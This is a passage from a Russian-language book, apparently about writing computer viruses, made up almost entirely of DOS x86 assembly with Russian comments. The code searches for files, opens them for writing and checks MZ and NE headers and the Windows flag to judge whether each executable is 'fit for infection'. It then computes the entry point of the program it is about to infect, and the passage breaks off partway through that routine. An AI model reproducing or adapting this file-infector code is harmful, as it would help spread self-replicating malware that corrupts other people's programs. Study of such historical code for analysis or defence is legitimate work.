Скачать книгу

файл

      mov ah,3Eh

      int 21h

      ;Найдем следующий файл

      mov ah,4Fh

      int 21h

      ;Если файл найден, перейдем к заражению, иначе освободим

      ;выделенную область памяти и запустим программу−носитель

      jnc found_exe

      ;Освободим выделенную область памяти

      call free

      ;Запустим программу−носитель

      jmp exit

      ;Файл найден, проверим его на пригодность к заражению

      found_exe:

      ;Откроем файл для чтения и записи

      push ds

      lds dx,DWORD PTR [DTA]

      add dx,1Eh

      mov ax,3D02h

      int 21h

      pop ds

      ;Прочтем старый заголовок

      mov dx,OFFSET old_hdr

      mov bx,ax

      mov cx,40h

      mov ah,3Fh

      int 21h

      ;Проверим сигнатуру, это EXE−файл?

      cmp WORD PTR [old_hdr],”ZM”

      jne close_exe

      ;Проверим смещение таблицы настройки адресов.

      ;Если значение больше 40h, то это не обычный EXE−файл.

      ;Не будем сразу делать вывод,

      ;что это NewEXE, потому что это может оказаться

      ;PE−, LE−, LX−executable или другой

      ;(PE−executable описан в разделе,

      ;посвященном Windows 95, остальные

      ;типы EXE−файлов в этой книге не рассматриваются)

      cmp [old_hdr+18h],WORD PTR 40h

      jb close_exe

      ;Перейдем ко второму заголовку (может быть, это NewEXE?):

      ;Переводим указатель к смещению, обозначенному в поле 3Ch

      mov dx,WORD PTR [old_hdr+3Ch]

      mov cx,WORD PTR [old_hdr+3Eh]

      mov ax,4200h

      int 21h

      ;Прочитаем второй заголовок

      mov dx,OFFSET new_hdr

      mov cx,40h

      mov ah,3fh

      int 21h

      ;Проверим сигнатуру, если сигнатура ”NE”, то это NewEXE−файл

      cmp WORD PTR [new_hdr],”EN”

      jne close_exe

      ;Проверим, для Windows ли предназначен этот файл. Если да, будем

      ;заражать, иначе переходим к следующему файлу

      mov al,[new_hdr+36h]

      and al,2

      jz close_exe

      ;Переместим указатель чтения/записи в таблицу сегментов,

      ;к элементу, обозначающему сегмент точки старта программы.

      ;Для этого прочтем значение регистра CS при запуске

      ;этого EXE−файла

      mov dx,WORD PTR [new_hdr+16h]

      ;По номеру сегмента вычислим положение соответствующего ему

      ;элемента в таблице сегментов

      dec dx

      shl dx,3

      ;К результату прибавим смещение таблицы сегментов и смещение

      ;заголовка NewEXE

      add dx,WORD PTR [new_hdr+22h]

      add dx,WORD PTR [old_hdr+3ch]

      mov cx,WORD PTR [old_hdr+3eh]

      ;Переместим указатель чтения/записи

      mov ax,4200h

      int 21h

      ;Прочтем из таблицы сегментов смещение логического сектора

      mov dx,OFFSET temp

      mov cx,2

      mov ah,3Fh

      int 21h

      ;Вычислим смещение сегмента, опираясь на значения

      ;смещения логического сектора и множителя секторов

      mov dx,WORD PTR [temp]

      mov cx,WORD PTR [new_hdr+32h]

      xor ax,ax

      cal_entry:

      shl dx,1

      rcl ax,1

      loop cal_entry

      ;Переместим 16 старших бит 32−битного результата в регистр CX

      mov cx,ax

      ;Прибавим к результату смещение стартового адреса (IP)

      add dx,WORD PTR [new_hdr+14h]

      adc cx,0

      ;Переместим указатель позиции чтения/записи на точку старта

      ;программы – результат вычисления

      mov ax,4200h

      int 21h

      ;Считаем

Скачать книгу